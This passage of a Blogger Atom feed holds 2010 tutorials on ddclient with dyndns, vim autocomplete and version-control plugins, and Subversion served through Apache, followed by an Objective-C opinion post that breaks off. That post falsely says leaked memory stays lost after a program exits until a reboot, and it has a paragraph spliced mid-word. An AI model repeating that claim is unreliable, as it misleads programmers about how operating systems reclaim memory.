href="http://sourceforge.net/apps/trac/ddclient"&gt;here&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;For those who want to know what is dyndns, it provides home and small businesses users domain, email, and Internet  infrastructure services. &lt;a href="https://www.dyndns.com/about/"&gt;More info here&lt;/a&gt;.&lt;/div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;Ok once you download the tar ball extract it and copy the ddclient perl script to the /usr/sbin/(You need to be root or need to use sudo).&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Create /etc/ddclient directory and create a file ddclient.conf inside it with following contents&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre class="wiki"&gt;# /etc/&amp;lt;span class="searchword0"&amp;gt;ddclient&amp;lt;/span&amp;gt;/ddclient.conf&lt;br /&gt;#&lt;br /&gt;protocol=dyndns2&lt;br /&gt;use=web&lt;br /&gt;login=mylogin&lt;br /&gt;password=mypassword&lt;br /&gt;myhost.dyndns.org&lt;br /&gt;&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Change the fields appropriately.&lt;/div&gt;&lt;ol start="3"&gt;&lt;li style="text-align: justify;"&gt;Now create directory /var/cache/ddclient and create a file ddclient.cache inside it. You can use &lt;b&gt;touch&lt;/b&gt; command for this purpose.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;To update your IP after you connect to internet run the following command&lt;/li&gt;&lt;/ol&gt;&lt;blockquote&gt;sudo ddclient -daemon 300 -syslog&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;The output of command will be present in /var/log/syslog. Just verify the log to make sure that you have updated the ip successfully. You can write this command to a script file and add it to startup but I don't recommend because while using modem we need to dial manually so we can update the ip with above command once we get connected to internet.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=3bca3757-2e9b-8833-b23e-50914b9a4e5d" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-9081089732901071632?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/03/using-dyndns-service-with-dialup-modem.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9081089732901071632'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/9081089732901071632'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/03/using-dyndns-service-with-dialup-modem.html' title='Using dyndns service with Dialup Modem on Debian/Ubuntu'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3446676552742260579</id><published>2010-03-07T07:11:00.001-08:00</published><updated>2010-03-07T07:11:17.842-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Integrating Version Control with vim</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div align='justify'&gt;Version Control system is very important for a developer, and it will be easy for the developer if he can use the version control system from the editor which he is using. Most of the IDE's like eclipse with plugin support most popular version control systems like Subversion (svn) CVS. Even though there are plugin support for the other Version controls like git its not completely evolved so developer has limited choice when using such version control. But surprisingly vim has plug-in which integrates with all the version control flawlessly. Let me tel you how to install this plug-in with the vim.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;1. Download the plug-in package from &lt;a href='http://www.vim.org/scripts/script.php?script_id=90'&gt;here&lt;/a&gt;&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. Zip contains doc, plugin, syntax folders&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;3. Extract these folders into ~/.vim folder&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;4. Add the documentation to the vim. To do this follow these steps&lt;br/&gt;&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Launch vim &lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;In the command mode i.e pressing &amp;lt;Esc&amp;gt; type in this command :helptags ~/.vim/doc . This command generates the documentation for the files placed inside the ~/.vim/doc folder. After this you can access all the help regarding the VCSCommands by typing :help VCSCommand.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;Some basic ones are :VCSCommit for commiting :VCSAdd to add a file to version control. :VCSLog to see change log.&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;One good thing is you don't have to remember version control specific command and don't even have to bother on which version control you are using, plugin itself finds which version control to use. Single plugin for all Version controls nice rite. :)&lt;br/&gt;&lt;/div&gt;&lt;/li&gt;&lt;li&gt;&lt;div align='justify'&gt;&lt;font color='#ff0000'&gt;&lt;b&gt;One thing to keep in mind you should be in working directory (i.e directory to which you checkout)other wise you will see VCSCommand: No suitable plugin found message&lt;/b&gt;&lt;/font&gt;&lt;br/&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div align='justify'&gt;Well thats all folks its so simple to use version control with vim. I'm currently using vim with git and it works flawlessly. Well enjoy version control with vim. C ya :).&lt;br/&gt;&lt;/div&gt;Technorati Tags: &lt;a rel='tag' href='http://technorati.com/tag/vim' class='performancingtags'&gt;vim&lt;/a&gt;, &lt;a rel='tag' href='http://technorati.com/tag/ubuntu' class='performancingtags'&gt;ubuntu&lt;/a&gt;, &lt;a rel='tag' href='http://technorati.com/tag/version%20control' class='performancingtags'&gt;version control&lt;/a&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=542a029f-8b65-8d8c-ba30-ddc24a35e213' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3446676552742260579?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/03/integrating-version-control-with-vim.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3446676552742260579'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3446676552742260579'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/03/integrating-version-control-with-vim.html' title='Integrating Version Control with vim'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-7295443382212168263</id><published>2010-02-28T03:37:00.001-08:00</published><updated>2010-02-28T03:37:49.162-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C C++'/><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>C/C++ Auto Complete for vim</title><content type='html'>&lt;div xmlns='http://www.w3.org/1999/xhtml'&gt;&lt;div align='justify'&gt;In my last post I told how to make vim give auto complete suggestion for Python. Now its time for C and C++. During our college days in lab we used vim in C/C++ related labs and we had to remember each and every function the outcome was students bi-hearting the programs with out understanding it (of course they wont enjoy programing ;) ). Of course there are many editor with good features but the simple editor like vim also has very good feature (some time can say better than full fledged IDE's). Ok now lets get to the point. You need to download the following things before proceeding&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;1. &lt;a href='http://www.vim.org/scripts/script.php?script_id=1520'&gt;OmniCppComplete plugin&lt;/a&gt; for the vim&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. exuberant-ctags. (if you are using Debian based distro's you can use this command sudo apt-get install exuberant-ctags)&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;3. &lt;a href='http://www.vim.org/scripts/script.php?script_id=2358'&gt;CPP STL source&lt;/a&gt; for ctags&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;Procedure:&lt;br/&gt;1. Unpack the omnicpp*.zip file. the resulting folder has following structure&lt;br/&gt;OmniCpp-x.x&lt;br/&gt;      |_ doc&lt;br/&gt;      |_ autoload&lt;br/&gt;      |_ after&lt;br/&gt;         |_ ftplugin&lt;br/&gt;            |_ c.vim&lt;br/&gt;            |_ cpp.vim&lt;br/&gt;&lt;div align='justify'&gt;Copy each of this directory into ~/.vim folder. Note if you already have after directory structure in the ~/.vim just copy the 2 *.vim files into ~/.vim/after/ftplugin/ folder.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;2. Now in the .vimrc if you haven't already enabled file type plugin enable it and the set nocp line above it. Your .vimrc should have lines looking like this&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;  1 " Enable file type plugins&lt;br/&gt;  2 set nocp&lt;br/&gt;  3 filetype plugin on&lt;br/&gt;&lt;/blockquote&gt;&lt;div align='justify'&gt;3. Create &lt;b&gt;tags&lt;/b&gt; directory inside the ~/.vim. &lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;4. Unpack the cpp_src.tar.bz2 and generate the tags for stl and move it to ~/.vim/tags directory. Use the following command&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;pre&gt;ctags -R --c++-kinds=+p --fields=+iaS --extra=+q --language-force=C++ cpp_src &amp;amp;&amp;amp; mv tags ~/.vim/tags/stl&lt;/pre&gt;&lt;/blockquote&gt;&lt;div align='justify'&gt;Explanation for the options can be found in the man pages of ctags. In ubuntu machine you may need to use sudo before both command. Similarly you can create tags for the Open GL Qt4 or any other libraries which are present in /usr/include directory. Each library will be present as directory for eg. If you have installed libxml2 you will have libxml2 directory. In the above command just change the directory name to appropriate one and also generated tags file to avoid over writing.&lt;br/&gt;&lt;/div&gt;&lt;br/&gt;&lt;div align='justify'&gt;5. Well now some changes needed to do be done in .vimrc file. Copy paste the below code into your .vimrc&lt;br/&gt;&lt;/div&gt;&lt;blockquote&gt;  6 " configure tags - add aditional tags here or comment out not-used ones&lt;br/&gt;  7 "set tags+=~/.vim/tags/gl&lt;br/&gt;  8 set tags+=~/.vim/tags/stl&lt;br/&gt;  9 set tags+=~/.vim/tags/libxml2&lt;br/&gt; 10 set tags+=~/.vim/tags/llvmc&lt;br/&gt; 11 set tags+=~/.vim/tags/llvm&lt;br/&gt; 12 set tags+=~/.vim/tags/cairo&lt;br/&gt; 13 &lt;br/&gt; 14 " build tags of your own project with CTRL+F12&lt;br/&gt; 15 "map &amp;lt;C-F12&amp;gt; :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;CR&amp;gt;&lt;br/&gt; 16 noremap &amp;lt;F12&amp;gt; :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;cr&amp;gt;&lt;br/&gt; 17 inoremap &amp;lt;F12&amp;gt; &amp;lt;Esc&amp;gt;:!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q .&amp;lt;cr&amp;gt;&lt;br/&gt; 18 &lt;br/&gt; 19 " OmniCppComplete&lt;br/&gt; 20 let OmniCpp_NamespaceSearch = 1&lt;br/&gt; 21 let OmniCpp_GlobalScopeSearch = 1&lt;br/&gt; 22 let OmniCpp_ShowAccess = 1&lt;br/&gt; 23 let OmniCpp_MayCompleteDot = 1&lt;br/&gt; 24 let OmniCpp_MayCompleteArrow = 1&lt;br/&gt; 25 let OmniCpp_MayCompleteScope = 1&lt;br/&gt; 26 let OmniCpp_DefaultNamespaces = ["std", "_GLIBCXX_STD"]&lt;br/&gt; 27 &lt;br/&gt; 28 &lt;br/&gt; 29 " automatically open and close the popup menu / preview window&lt;br/&gt; 30 au CursorMovedI,InsertLeave * if pumvisible() == 0|silent! pclose|endif&lt;br/&gt; 31 set completeopt=menuone,menu,longest,preview&lt;br/&gt;&lt;/blockquote&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align='justify'&gt;set directive points omnicppcomplete plugin to the proper tags, do comment or uncoment according to tags which you have generated, also ignore the numbers since I had turned on numbering in my vim it came and I'm lazy to remove all the numbers :P.&lt;br/&gt;&lt;/div&gt;&lt;div align='justify'&gt;The next line is mapping of F12 key to generate tags for project you are working on currently. You need to manually use it if you want to use auto complete feature with your currently working file set. Note command assumes that all your files are present in current working directory. Below is the screen shot of my vim's auto complete in action.&lt;br/&gt;&lt;/div&gt;&lt;img src='http://lh4.ggpht.com/_Pms4ehFPMfI/S4pUiVsAT1I/AAAAAAAABTE/tUYfu25sPMg/%5BUNSET%5D.png?imgmax=800' style='max-width: 800px;'/&gt;&lt;br/&gt;&lt;br/&gt;&lt;div align='justify'&gt;Well that's all folks. Hope you will enjoy coding with vim's auto complete feature. C ya &lt;br/&gt;&lt;/div&gt;&lt;br/&gt;Vasudev&lt;br/&gt;&lt;br/&gt;&lt;br/&gt;&lt;div class='zemanta-pixie'&gt;&lt;img src='http://img.zemanta.com/pixy.gif?x-id=542a029f-8b65-8d8c-ba30-ddc24a35e213' alt='' class='zemanta-pixie-img'/&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-7295443382212168263?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/02/cc-auto-complete-for-vim.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7295443382212168263'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/7295443382212168263'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/02/cc-auto-complete-for-vim.html' title='C/C++ Auto Complete for vim'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_Pms4ehFPMfI/S4pUiVsAT1I/AAAAAAAABTE/tUYfu25sPMg/s72-c/%5BUNSET%5D.png?imgmax=800' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-4107286006754406394</id><published>2010-02-21T08:37:00.001-08:00</published><updated>2010-02-21T08:44:34.989-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='apache'/><category scheme='http://www.blogger.com/atom/ns#' term='ubuntu'/><category scheme='http://www.blogger.com/atom/ns#' term='svn'/><title type='text'>Installing and configuring Subversion with Apache on Ubuntu</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;div style="text-align: justify;"&gt;To install the Subversion a popular version control system in Ubuntu or Debian based distro's follow the following steps. I'm configuring subversion with apache webserver using dav_svn module of apache2.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Get the subversion and tools using following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install subversion subversion-tools&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;2. If you have not already install apache2 install using following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install apache2&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;3. Install the subversion module for apache i.e mod_dav_svn. Use the following command&lt;/div&gt;&lt;blockquote&gt;sudo apt-get install libapache2-svn&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Next is to create and configure a repository to work with. I've created a folder called svn in / folder inside which all repositories reside. You can choose any folder of your choice.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Create a directory svn under root partition i.e /&lt;/div&gt;&lt;blockquote&gt;sudo mkdir svn&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;2. Create a folder for your project with which you want to use subversion. Taking project name is myproject here is the procedure to create svn repository&lt;/div&gt;&lt;blockquote&gt;cd /svn&lt;br /&gt;sudo mkdir myproject&lt;br /&gt;sudo svnadmin create myproject&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;The svnadmin create command creates the repository. Next is to configure Apache server for serving this repository. Open the file /etc/apache2/mods-available/dav_svn.conf in your favourite editor. (Note you need to have su rights to save changes). Add the following lines&lt;/div&gt;&lt;blockquote&gt;&amp;lt;Location /svn/myproject&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; DAV svn&lt;br /&gt;&amp;nbsp;&amp;nbsp; SVNPath /svn/myproject&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthType Basic&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthName "Subversion repository for myproject"&lt;br /&gt;&amp;nbsp;&amp;nbsp; AuthUserFile /etc/subversion/passwd&lt;br /&gt;&amp;nbsp;&amp;nbsp; Require valid-user&lt;br /&gt;&amp;lt;/Location&amp;gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;SVNPath points to your repository. AuthType Basic means requires authentication. Now you need to create AuthFile i.e passwd file and also need to create the users for the repository. First lets see how to create the users.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;1. Go to repository folder and enter the conf directory. i.e&lt;/div&gt;&lt;blockquote&gt;cd /path/to/repository/conf&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;2. edit the authz file. You may need to use sudo for that purpose. add the following lines.&lt;/div&gt;&lt;blockquote&gt;[group]&lt;br /&gt;commiter=vasudev&lt;br /&gt;developer=somedeveloper&lt;br /&gt;&lt;br /&gt;[repository:/]&lt;br /&gt;@commiter=rw&lt;br /&gt;@developer=r&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;I always use this way you can create individual user and give them permissions though. [group] tells svn the groups of user for this repository. Second set i.e [repository:/] this is used to give permissions on particular folder tree under repository (normally repository will have trunk tag branches directory). The permission here applies to all the folder (i.e trunk tag branches). You can customize permission on each folder using several these sections. (If you use so be sure to put the root section at the end )&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;3. Next is creating the password file. I chose /etc/subversion folder to place my password file. Use the htpasswd command to create the password for each user mentioned in each group of authz file. After you are done reload the apache using following command&lt;/div&gt;&lt;blockquote&gt;sudo /etc/init.d/apache2 reload&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;4. Next is trunk tags and branches import. Create directories /tmp/myproject /tmp/myproject/trunk /tmp/myproject/tags /tmp/myproject/branches folder. And use the following command &lt;/div&gt;&lt;blockquote&gt;svn import /tmp/myproject http://localhost/svn/myproject -m "Initial directory imports"&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;SVN will ask for the user name and password and then adds the directories to your repository. Once this is done you can use the svn import to import your existing project work to the trunk of the repository.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Well thats it you can access your repository by following http://localhost/svn/myproject from your browser or using any clients or IDE plugins. If you want nice UI while accessing the svn from browser you can either install view vc for apache2 or use WebSVN. Well let me write a post on Websvn, till then C ya.&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=f7e14faf-387f-8aff-9171-f836470441ec" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-4107286006754406394?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/02/installing-and-configuring-subversion.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4107286006754406394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/4107286006754406394'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/02/installing-and-configuring-subversion.html' title='Installing and configuring Subversion with Apache on Ubuntu'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-3061485459938733774</id><published>2010-02-21T07:23:00.001-08:00</published><updated>2010-02-21T07:26:36.139-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vim'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='LINUX'/><title type='text'>Python Auto Complete for vim</title><content type='html'>&lt;div xmlns="http://www.w3.org/1999/xhtml"&gt;After struggling arround with lot of editors finally i made up my mind to continue with my old favourite editor vim. I choose Python as my primary language along with C and C++. Coming to the point I know vim 7.0 has auto complete feature but it works only by looking at what is already there in current workspace (content you are editing or creating). After googling a bit I came across this link &lt;a href="http://www.vim.org/scripts/script.php?script_id=850"&gt;Python Auto complete script for the vim&lt;/a&gt;. But had some trouble in setting up the things quickly. So writing this blog to make any other who want to use vim as their primary editor. :)&lt;br /&gt;1. From the above mentioned link please download the latest pydiction-x.x.zip wr x.x is version.&lt;br /&gt;2. In you home folder create .vim folder (if it doesn't already exists create one) unzip the contents. You will get a directory named pydiction-x.x containing following files&lt;br /&gt;&lt;ol&gt;&lt;li&gt;python_pydiction.vim&lt;/li&gt;&lt;li&gt;complete_dict&lt;/li&gt;&lt;li&gt;pydiction.py&lt;/li&gt;&lt;/ol&gt;python_pydiction.vim is vim script, you should move it to ~/.vim/after/ftplugin/ (again if directory doesn't exist create one ). This is the default location on *nix* systems where vim will be looking for the filtype plugin. &lt;span style="color: red;"&gt;Note: Only move the .vim files to this directory&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;complete-dict is python dictionary containing all python function names. pydiction.py is used to extend this dictionary.&lt;br /&gt;Now you need to create a file .vimrc in your home folder (if such file doesn't exist already)and add the following lines to the beginning of the file&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style="color: black;"&gt;" Enable file type plugins&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;filetype plugin on&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;let g:pydiction_location='/home/vasudev/.vim/pydiction-1.2/complete-dict'&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="color: black;"&gt;First line tells vim to use file type plug-ins from ~/.vim/after/ftplugin and second line tells the location of dictionary file. Note: You can place this file any where in your system. Just give a proper path :)&lt;br /&gt;I'm still customizing the vim editor and will be writing all my customizations here soon so watch out folks ;)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="zemanta-pixie"&gt;&lt;img alt="" class="zemanta-pixie-img" src="http://img.zemanta.com/pixy.gif?x-id=f1eda091-e0d1-8bf2-b4fe-8c0441fc2803" /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7107735130942041345-3061485459938733774?l=blog.copyninja.info' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://blog.copyninja.info/2010/02/python-auto-complete-for-vim.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3061485459938733774'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7107735130942041345/posts/default/3061485459938733774'/><link rel='alternate' type='text/html' href='http://blog.copyninja.info/2010/02/python-auto-complete-for-vim.html' title='Python Auto Complete for vim'/><author><name>Vasudev Kamath</name><uri>http://www.blogger.com/profile/05106578827322209004</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_Pms4ehFPMfI/SfQvOlokxkI/AAAAAAAAAiY/kxXT9m_Zmi4/S220/Kakashi.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7107735130942041345.post-6456347646426381271</id><published>2010-01-23T09:16:00.000-08:00</published><updated>2010-01-25T00:44:46.861-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java to objective c'/><category scheme='http://www.blogger.com/atom/ns#' term='objective c'/><title type='text'>Objective C – My Opinions</title><content type='html'>&lt;div style="margin-bottom: 0cm; text-align: justify;"&gt;&lt;a href="http://developer.apple.com/mac/library/documentation/Cocoa/Conceptual/ObjectiveC/Introduction/introObjectiveC.html"&gt;Objective – C &lt;/a&gt;is a super set of C with messaging style of &lt;a href="http://en.wikipedia.org/wiki/Smalltalk"&gt;Small Talk&lt;/a&gt; programming languages. Objective C is backbone of Apple's operating system. Cocoa and Cocoa Touch API's which are used by Macintosh OS and iPhone OS. Even though you don't need to use Apple platform to learn Objective C, GNUStep which is clone of NeXTStep based on OpenStep standard allows programming with Objective C and Cocoa based API's on either Windows or Linux platform with GCC complier. But if you want to become a full fledged programmer with Cocoa API's you need to use Mac OS X operating system (and ofcourse their hardware ;) )&lt;br /&gt;&lt;/div&gt;&lt;div style="margin-bottom: 0cm; text-align: justify;"&gt;Ok now to the point I was basically a programmer who worked on the Java, PHP and Python like dynamic and managed languages. But needs arised and I had to learn Objective C, as usual I learnt the basics of Objective C and started programming with Cocoa Touch API's (i.e iPhone). But within few days I learnt that Objective C is not like the languages which I've been using till now. Let me tell few things to keep in mind when moving from managed programming languages to a &lt;strike&gt;unmanged&lt;/strike&gt; programming language like Objective – C(&lt;b&gt;Before version 2.0. 2.0 has introduced a optional garbage collector, but for iPhone OS there is no garbage collector&lt;/b&gt;).&lt;br /&gt;&lt;/div&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;ol&gt;&lt;li&gt;&lt;b&gt;What is managed and unmanaged  languages? &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;ul&gt;&lt;li style="text-align: justify;"&gt;&lt;span style="font-weight: normal;"&gt;Programming  languages like Java is called managed language because programmer is  relived of the memory management issues. To be clear programmer can  allocate objects and just forget about it after that. Why I'm  telling like this is there is Garbage collector which will be run by  JVM periodically which will release these objects.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span style="font-weight: normal;"&gt;So  what are PHP and Pyhon like languages? Well these are also managed +  dynamic languages, meaning you don't have to declare a variable  before using them. System will decide their type during runtime.&lt;/span&gt;&lt;/li&gt;&lt;li style="text-align: justify;"&gt;&lt;span style="font-weight: normal;"&gt;Comming  to unmanaged languages like Objective C (&lt;b&gt;Objective C 2.0 has introduced garbage collection though garbage collector is absent on iPhone OS&lt;/b&gt;). These languages except  programmer to handle the memory management. Meaning its up to  programmer to release the objects that he has allocated before  program exits. Well this is were most of the managed language  programmer feel difficulty while transiting to Objective C. We are  always told in our engineering courses that you need to release what  you allocate but nobody took it seriously that time :) and nobody  told us the importance of releasing objects that time (guess  lecturers themselves were not nowing the reason ;) ). But belive me   when I started with Objective C I understood the reason. It is to  avoid memory leaks and it becomes serious issue when your program is  supI feel Objective C should be introduced as part of academics in  India since it makes students to learn basics of memory management  which is most important thing to know before becomming a  professional programmer. And Objective C is more OO than the  C++.  Concepts OOP will be more clear with Objective C than C++ but point  should be noted that some concepts of OOP like abstractions are not  included in Objective C but I feel abstraction is not required in  normal scenarios :). According to me evethough its unmanaged  language Objective C is still a beautiful language out there.posed  to run on limited memory devices like phones PDA's etc.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ol start="2"&gt;&lt;li&gt;&lt;b&gt;Memory Leaks what  are these? &lt;/b&gt;&lt;span style="font-weight: normal;"&gt;Ok as I mentioned  in my last point in unmanaged languages not releasing the objects  which you allocate will lead to memory leaks. Let me try to define  it in my own terms :). OS allocates chunk of memory to the programs  and expects the programs to return it back when program is done. In  other words when you try to allocate  an object system gives a  memory reference to you (your program) and makes you (your program)  its owner. Owner here means once the memory reference is passed to  your program its management is upto your program including returning  it back to the OS. In other words if you fail to release what you  allocate that part of memory will not be touched by the OS even if  your program exits (untill and unless a hard reboot occurs) meaning  waste of resource and in small device ( also in normal computers )  this may lead to system crash.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;b&gt;Releasing what is  the big deal? &lt;/b&gt;&lt;span style="font-weight: normal;"&gt;If you are  thinking like this I'll say think again :). This is another place  where the Java and other language programmer get trapped while  moving to Objective C. I 